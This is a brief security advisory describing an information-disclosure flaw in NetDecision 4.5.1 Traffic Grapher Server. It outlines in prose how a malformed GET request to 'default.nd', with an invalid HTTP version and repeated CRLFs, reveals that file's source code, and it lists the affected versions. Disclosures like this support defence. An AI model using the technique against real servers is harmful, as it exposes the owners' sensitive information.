Technical Description: ---------------------- The vulnerability is caused due to improper validation of malicious HTTP GET request to Traffic Grapher Server 'default.nd' with invalid HTTP version number followed by multiple 'CRLF', which discloses the source code of 'default.nd' Impact: -------- Successful exploitation could allow an attacker to cause disclosure of sensitive information. Affected Software: ------------------ NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1 Tested on: ----------- NetDecision 4.5.1 (full package) Traffic Grapher Server version 4.5.1 on Windows XP SP3 & Win XP2. Older versions might be affected.
